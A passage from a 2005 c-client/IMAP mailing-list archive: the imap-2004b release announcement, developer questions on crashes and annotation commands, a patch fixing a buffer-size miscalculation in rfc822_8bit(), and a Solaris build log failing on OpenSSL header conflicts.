List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: c-client Interest List Cc: IMAP Interest List Subject: ANNOUNING: University of Washington IMAP toolkit version 2004b MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This message is to announce the release of version 2004b of the University of Washington IMAP toolkit, imap-2004b. This release is available on: ftp://ftp.cac.washington.edu/mail/imap-2004b.tar.Z The convenience link: ftp://ftp.cac.washington.edu/mail/imap.tar.Z now points to this version. This is a maintenance release, consisting primarily of bugfixes and reliability improvements; however there are now new ports for Solaris with Blastwave Community Open Source Software (gcs) and Mandrake Linux (lmd). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 5 05:26:38 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Jan 2005 05:26:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j05DQcaA032570 for ; Wed, 5 Jan 2005 05:26:38 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05DQbEW002160 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Jan 2005 05:26:37 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id j05DQSUb014572; Wed, 5 Jan 2005 05:26:28 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j05DP4Zt070042 for ; Wed, 5 Jan 2005 05:25:05 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05DP2e0017602 for ; Wed, 5 Jan 2005 05:25:04 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id C517829AC24 for ; Wed, 5 Jan 2005 14:53:36 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 19284-06 for ; Wed, 5 Jan 2005 14:53:27 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 5719F29AC23 for ; Wed, 5 Jan 2005 14:53:25 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id A25821224A2; Wed, 5 Jan 2005 14:30:47 +0100 (CET) Received: from multitel009031.multitel.be (multitel009031.multitel.be [172.16.9.31]) by mail.multitel.be (Horde) with HTTP for ; Wed, 5 Jan 2005 14:30:47 +0100 Message-Id: <20050105143047.zy9kw80wggkgs4gg@mail.multitel.be> Date: Wed, 5 Jan 2005 14:30:47 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Re: Crash in mail_setflag_full In-Reply-To: References: <20041229120900.05gptco800go04go@mail.multitel.be> MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Mark Crispin : > On Wed, 29 Dec 2004 hamaide@multitel.be wrote: >> When I call the function this way >> mail_setflag_full(stream, "valid_uid", "\\Deleted", ST_UID) >> the program crash. Am i doing something wrong? > > Unfortunately, your report is too vague to diagnose without additional > information. > > What type of crash do you get? > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. I finally fixed it. The variable containing stream was overwritten by an overflow bug Thanks From pinedev@shivax2.cac.washington.edu Wed Jan 5 05:33:49 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Jan 2005 05:33:49 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j05DXnOa032736 for ; Wed, 5 Jan 2005 05:33:49 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05DXmmx003424 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Jan 2005 05:33:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id j05DXg6n016986; Wed, 5 Jan 2005 05:33:42 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j05DXG5I043218 for ; Wed, 5 Jan 2005 05:33:16 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe3.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05DXGvp025537 for ; Wed, 5 Jan 2005 05:33:16 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id 2312F29AC0B for ; Wed, 5 Jan 2005 15:01:51 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 19546-03 for ; Wed, 5 Jan 2005 15:01:41 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id 969AD29AC1E for ; Wed, 5 Jan 2005 15:01:34 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id 6B6CC1224A2; Wed, 5 Jan 2005 14:38:57 +0100 (CET) Received: from multitel009031.multitel.be (multitel009031.multitel.be [172.16.9.31]) by mail.multitel.be (Horde) with HTTP for ; Wed, 5 Jan 2005 14:38:57 +0100 Message-Id: <20050105143857.p6b0ow44kw8ow0gw@mail.multitel.be> Date: Wed, 5 Jan 2005 14:38:57 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Problem sending command MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I'm trying to send the command for Getannotation and Setannotation (from ANNOTATE MORE draft) I must send something like this : GETANNOTATION "INBOX" "/comment" "value.priv" I've look at the LIST code and write my code like this : argument[0].type = ASTRING; argument[0].text = "\"INBOX\""; argument[1].type = ASTRING; argument[1].text = " \"/comment\""; argument[2].type = ASTRING; argument[2].text = "\"value.priv\""; arg[0] = &(argument[0]); arg[1] = &(argument[1]); arg[2] = &(argument[2]); arg[3] = NIL; reply = imap_send(gStream, "SETANNOTATION", arg); if (imap_OK (gStream,reply)) return NULL; But instead of creating a single line, I get 3 message : GETANNOTATION {xxx} followed by a +go ahead from server and so on. The message send for the LIST command is complete Does anybody has an idea of how format my argument to send a single message? Thanks Julien Hamaide -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jan 5 06:37:59 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Jan 2005 06:37:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j05EbxlR001902 for ; Wed, 5 Jan 2005 06:37:59 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05EbwEf029303 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Jan 2005 06:37:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j05EboSJ019968; Wed, 5 Jan 2005 06:37:50 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05EaIWF070936 for ; Wed, 5 Jan 2005 06:36:18 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi2.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05EaIue020614 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 5 Jan 2005 06:36:18 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j05EaH1P024647; Wed, 5 Jan 2005 06:36:17 -0800 Received: from Shimo-Tomobiki.panda.com (q030022.ppp.asahi-net.or.jp [203.181.30.22]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j05EaCm5025614 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 5 Jan 2005 06:36:16 -0800 Message-Id: Date: Wed, 5 Jan 2005 23:36:10 +0900 (=?ISO-2022-JP?B?k4yLniAolVePgI6eKQ==?=) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: hamaide@multitel.be Cc: c-client@u.washington.edu Subject: Re: Crash in mail_setflag_full In-Reply-To: <20050105143047.zy9kw80wggkgs4gg@mail.multitel.be> References: <20041229120900.05gptco800go04go@mail.multitel.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 5 Jan 2005 hamaide@multitel.be wrote: > I finally fixed it. The variable containing stream was overwritten by an > overflow bug Was this in your code or in c-client? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed Jan 5 07:06:50 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 5 Jan 2005 07:06:49 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j05F6nKX002605 for ; Wed, 5 Jan 2005 07:06:49 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05F6kcm032161 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 5 Jan 2005 07:06:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j05F6dN0017886; Wed, 5 Jan 2005 07:06:39 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05F5i3K029778 for ; Wed, 5 Jan 2005 07:05:44 -0800 Received: from smtp.multitel.be (tcts.fpms.ac.be [193.190.194.194]) by mxe1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j05F5fYR018318 for ; Wed, 5 Jan 2005 07:05:42 -0800 Received: from localhost (localhost [127.0.0.1]) by smtp.multitel.be (Postfix) with ESMTP id A54EE29AC0A for ; Wed, 5 Jan 2005 16:34:14 +0100 (CET) Received: from smtp.multitel.be ([127.0.0.1]) by localhost (pop.multitel.be [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 21927-10 for ; Wed, 5 Jan 2005 16:34:05 +0100 (CET) Received: from www.multitel.be (multitel000010.multitel.be [192.168.0.10]) by smtp.multitel.be (Postfix) with ESMTP id C096529AC0F for ; Wed, 5 Jan 2005 16:33:16 +0100 (CET) Received: by www.multitel.be (Postfix, from userid 33) id EC9F91224A2; Wed, 5 Jan 2005 16:10:38 +0100 (CET) Received: from multitel009031.multitel.be (multitel009031.multitel.be [172.16.9.31]) by mail.multitel.be (Horde) with HTTP for ; Wed, 5 Jan 2005 16:10:38 +0100 Message-Id: <20050105161038.tr5qakgk0w4s00oc@mail.multitel.be> Date: Wed, 5 Jan 2005 16:10:38 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: hamaide@multitel.be To: c-client@u.washington.edu Subject: Re: Crash in mail_setflag_full In-Reply-To: References: <20041229120900.05gptco800go04go@mail.multitel.be> MIME-Version: 1.0 Content-Type: text/plain; charset="ISO-8859-1"; format="flowed" Content-Disposition: inline Content-Transfer-Encoding: 7bit X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at multitel.be X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Quoting Mark Crispin : > On Wed, 5 Jan 2005 hamaide@multitel.be wrote: >> I finally fixed it. The variable containing stream was overwritten by an >> overflow bug > > Was this in your code or in c-client? In my code, either way I would have signaled it :-) Julien From pinedev@shivax2.cac.washington.edu Thu Jan 6 15:08:13 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2005 15:08:13 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j06N8D5W008682 for ; Thu, 6 Jan 2005 15:08:13 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j06N8Bpj015793 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Jan 2005 15:08:12 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j06N84XD020406; Thu, 6 Jan 2005 15:08:05 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j06N6NIA086996 for ; Thu, 6 Jan 2005 15:06:23 -0800 Received: from smtp.unet.ru (smtp.unet.ru [213.219.244.56]) by mxe4.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j06N6Kov015656 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Thu, 6 Jan 2005 15:06:22 -0800 Received: from host.phpclub.net by smtp.unet.ru (8.12.9/Unet) with ESMTP id j06N6Jlo076203 for ; Fri, 7 Jan 2005 02:06:19 +0300 (MSK) Received: from armada by host.phpclub.net (8.12.6/Unet) with ESMTP id j06N6BFZ031436 for ; Fri, 7 Jan 2005 02:06:15 +0300 (MSK) Message-Id: <20050107020020.19e92285.tony2001@phpclub.net> Date: Fri, 7 Jan 2005 02:00:20 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Antony Dovgal To: c-client@u.washington.edu Subject: [PATCH] buffer overrun in rfc822_8bit() Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Multipart=_Fri__7_Jan_2005_02_00_20_+0300_VPlOMiKux/oTxkzr" X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --Multipart=_Fri__7_Jan_2005_02_00_20_+0300_VPlOMiKux/oTxkzr Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Hi all! Trying to find a cause of http://bugs.php.net/31431 I've discovered that rfc822_8bit() function (from src/c-client/rfc822.c, line 1938) incorrectly computes maximum result length. This causes buffer overrun & segfault. Current formula: --- unsigned char *ret = (unsigned char *) fs_get ((size_t) (3*srcl + (6*srcl)/MAXL + 3));1 --- As far as I understand this formula should be written like this: --- 3[encoded char len]*source length + ((3[encoded char len]*source length)/MAXL[max line length])*3[line ending: "=\r\n"]) + 3["=\r\n" at the end] --- So, c-client should use this line instead: --- unsigned char *ret = (unsigned char *) fs_get ((size_t) (3*srcl + ((3*srcl)/MAXL)*3 + 3)); --- The patch is attached. Thanks. -- Wbr, Antony Dovgal aka tony2001 --Multipart=_Fri__7_Jan_2005_02_00_20_+0300_VPlOMiKux/oTxkzr Content-Type: text/plain; name="rfc822.diff.txt" Content-Disposition: attachment; filename="rfc822.diff.txt" Content-Transfer-Encoding: 7bit --- rfc822.c.orig 2005-01-07 01:53:34.652514640 +0300 +++ rfc822.c 2005-01-07 01:53:58.716856304 +0300 @@ -1940,7 +1940,7 @@ { unsigned long lp = 0; unsigned char *ret = (unsigned char *) - fs_get ((size_t) (3*srcl + (6*srcl)/MAXL + 3)); + fs_get ((size_t) (3*srcl + ((3*srcl)/MAXL)*3 + 3)); unsigned char *d = ret; char *hex = "0123456789ABCDEF"; unsigned char c; --Multipart=_Fri__7_Jan_2005_02_00_20_+0300_VPlOMiKux/oTxkzr-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 6 16:16:59 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 6 Jan 2005 16:16:59 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.2+UW04.12) with ESMTP id j070GwEW011924 for ; Thu, 6 Jan 2005 16:16:58 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW05.01) with ESMTP id j070Gvoj002357 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 6 Jan 2005 16:16:58 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with SMTP id j070GmBO011284; Thu, 6 Jan 2005 16:16:48 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j070FdMR104220 for ; Thu, 6 Jan 2005 16:15:39 -0800 Received: from modelsoftware.com (66-79-1-162.clec.nworla.commercial.madisonriver.net [66.79.1.162]) by mxe1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j070Fbip019312 for ; Thu, 6 Jan 2005 16:15:39 -0800 Received: from Hazelnut (66-79-1-174.clec.nworla.commercial.madisonriver.net [66.79.1.174]) by modelsoftware.com (8.13.0/8.13.0) with ESMTP id j070FcZT026838 for ; Thu, 6 Jan 2005 18:15:42 -0600 (CST) Message-Id: <012901c4f44e$01811640$6401a8c0@MODEL.modelsoftware.com> Date: Thu, 6 Jan 2005 18:15:34 -0600 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Bill Thomason" To: Subject: Difficulty compiling IMAP-2004b on Sparc E250 running Solaris 2.8 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1409 X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I have a Sparc E250 server running Solaris 2.8. I am trying to build IMAP-2004b on this system but I am encountering problems during the compilation. I don't have OpenSSL installed in the default location of /usr/local/ssl. It is a symbolic link to another filesystem. I edited the Makefile in src/osdep/unix to reassign SSLDIR to the proper physical location, /opt/sfw/ssl. I performed a make gso. It seems like the make is stopping on some complaints about some redefinitions and previous declarations in osdep.c. The definitions apparently are from the header files that come with OpenSSL. Can anyone shed some light on this for me? Thanks in advance, -Bill Thomason ######################################################################## #### Here is a copy of the complete build session until it stops on an error: Script started on Thu Jan 06 17:14:53 2005 # pwd /export/home/wbt/IMAP/UW/imap-2004b # make gso make sslnopwd make[1]: Entering directory `/export/home/wbt/IMAP/UW/imap-2004b' +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + Building in full compliance with RFC 3501 security + requirements: ++ TLS/SSL encryption is supported ++ Unencrypted plaintext passwords are prohibited +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ make[1]: Leaving directory `/export/home/wbt/IMAP/UW/imap-2004b' Applying an process to sources... tools/an "ln -s" src/c-client c-client tools/an "ln -s" src/ansilib c-client tools/an "ln -s" src/charset c-client tools/an "ln -s" src/osdep/unix c-client tools/an "ln -s" src/mtest mtest tools/an "ln -s" src/ipopd ipopd tools/an "ln -s" src/imapd imapd tools/an "ln -s" src/mailutil mailutil tools/an "ln -s" src/mlock mlock tools/an "ln -s" src/dmail dmail tools/an "ln -s" src/tmail tmail ln -s tools/an . make build EXTRACFLAGS='' EXTRALDFLAGS='' EXTRADRIVERS='mbox' EXTRAAUTHENTICATORS='' PASSWDTYPE=std SSLTYPE=nopwd IP=4 EXTRASPECIALS='' BUILDTYPE=gso make[1]: Entering directory `/export/home/wbt/IMAP/UW/imap-2004b' Building c-client for gso... echo `cat SPECIALS` > c-client/SPECIALS cd c-client;make gso EXTRACFLAGS=''\ EXTRALDFLAGS=''\ EXTRADRIVERS='mbox'\ EXTRAAUTHENTICATORS=''\ PASSWDTYPE=std SSLTYPE=nopwd IP=4\ make[2]: Entering directory `/export/home/wbt/IMAP/UW/imap-2004b/c-client' sh -c '(strings /lib/libc.a | grep getpassphrase > /dev/null) && ln -s os_soln.h os_sol.h || ln -s os_solo.h os_sol.h' make build EXTRACFLAGS='' EXTRALDFLAGS='' EXTRADRIVERS='mbox' EXTRAAUTHENTICATORS='' PASSWDTYPE=std SSLTYPE=nopwd IP=4 `cat SPECIALS` OS=sol \ SIGTYPE=psx CHECKPW=psx CRXTYPE=nfs \ SPOOLDIR=/var/spool MAILSPOOL=/var/mail \ ACTIVEFILE=/usr/share/news/active \ RSHPATH=/usr/bin/rsh \ BASECFLAGS="-g -O2" \ BASELDFLAGS="-lsocket -lnsl -lgen" \ RANLIB=true CC=gcc make[3]: Entering directory `/export/home/wbt/IMAP/UW/imap-2004b/c-client' sh -c 'rm -rf auths.c crexcl.c nfstest.c linkage.[ch] siglocal.c osdep*.[ch] *.o ARCHIVE *FLAGS *TYPE c-client.a || true' Once-only environment setup... echo gcc > CCTYPE echo -g -O2 '' > CFLAGS echo -DCREATEPROTO=unixproto -DEMPTYPROTO=unixproto \ -DMAILSPOOL=\"/var/mail\" \ -DANONYMOUSHOME=\"/var/mail/anonymous\" \ -DACTIVEFILE=\"/usr/share/news/active\" -DNEWSSPOOL=\"/var/spool/news\" \ -DRSHPATH=\"/usr/bin/rsh\" -DLOCKPGM=\"/etc/mlock\" > OSCFLAGS echo -lsocket -lnsl -lgen > LDFLAGS echo "ar rc c-client.a osdep.o mail.o misc.o newsrc.o smanager.o utf8.o siglocal.o dummy.o pseudo.o netmsg.o flstring.o fdstring.o rfc822.o nntp.o smtp.o imap4r1.o pop3.o unix.o mbx.o mmdf.o tenex.o mtx.o news.o phile.o mh.o mx.o;true c-client.a" > ARCHIVE echo sol > OSTYPE ./drivers mbox imap nntp pop3 mh mx mbx tenex mtx mmdf unix news phile dummy ./mkauths md5 pla log make[4]: Entering directory `/export/home/wbt/IMAP/UW/imap-2004b/c-client' echo -DMD5ENABLE=\"/etc/cram-md5.pwd\" >> OSCFLAGS make[4]: Leaving directory `/export/home/wbt/IMAP/UW/imap-2004b/c-client' ln -s os_sol.h osdep.h ln -s os_sol.c osdepbas.c ln -s log_std.c osdeplog.c ln -s sig_psx.c siglocal.c ln -s crx_nfs.c crexcl.c ln -s ip4_unix.c ip_unix.c sh -c '(test -f /usr/include/sys/statvfs.h -a sol != sc5 -a sol != sco) && ln -s nfstnew.c nfstest.c || ln -s nfstold.c nfstest.c' Standard password authentication ln -s ckp_psx.c osdepckp.c Building with SSL ln -s ssl_unix.c osdepssl.c echo -I/opt/sfw/ssl/include -I/opt/sfw/ssl/include/openssl -DSSL_CERT_DIRECTORY=\"/opt/sfw/ssl/certs\" -DSSL_KEY_DIRECTORY=\"/opt/sfw/ssl/certs\" >> OSCFLAGS echo " ssl_onceonlyinit ();" >> linkage.c echo -L/opt/sfw/ssl/lib -lssl -lcrypto >> LDFLAGS Building with SSL and plaintext passwords disabled unless SSL/TLS echo " mail_parameters (NIL,SET_DISABLEPLAINTEXT,(void *) 2);" >> linkage.c cat osdepbas.c osdepckp.c osdeplog.c osdepssl.c > osdep.c Building OS-dependent module If you get No such file error messages for files x509.h, ssl.h, pem.h, buffer.h, bio.h, and crypto.h, that means that OpenSSL is not installed on your system. Either install OpenSSL first or build with command: make sol SSLTYPE=none `cat CCTYPE` -c `cat CFLAGS` `cat OSCFLAGS` -c osdep.c In file included from osdep.c:212: /opt/sfw/ssl/include/x509.h:130: redefinition of `X509_ALGOR' /opt/sfw/ssl/include/openssl/ossl_typ.h:110: `X509_ALGOR' previously declared here /opt/sfw/ssl/include/x509.h:176: redefinition of `X509_NAME' /opt/sfw/ssl/include/openssl/ossl_typ.h:112: `X509_NAME' previously declared here /opt/sfw/ssl/include/x509.h:280: redefinition of `X509' /opt/sfw/ssl/include/openssl/ossl_typ.h:109: `X509' previously declared here /opt/sfw/ssl/include/x509.h:407: redefinition of `X509_CRL' /opt/sfw/ssl/include/openssl/ossl_typ.h:111: `X509_CRL' previously declared here make[3]: *** [osdep.o] Error 1 make[3]: Leaving directory `/export/home/wbt/IMAP/UW/imap-2004b/c-client' make[2]: *** [gso] Error 2 make[2]: Leaving directory `/export/home/wbt/IMAP/UW/imap-2004b/c-client' make[1]: *** [OSTYPE] Error 2 make[1]: Leaving directory `/export/home/wbt/IMAP/UW/imap-2004b' make: *** [gso] Error 2 # -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jan 10 04:35:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 10 Jan 2005 04:35:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu 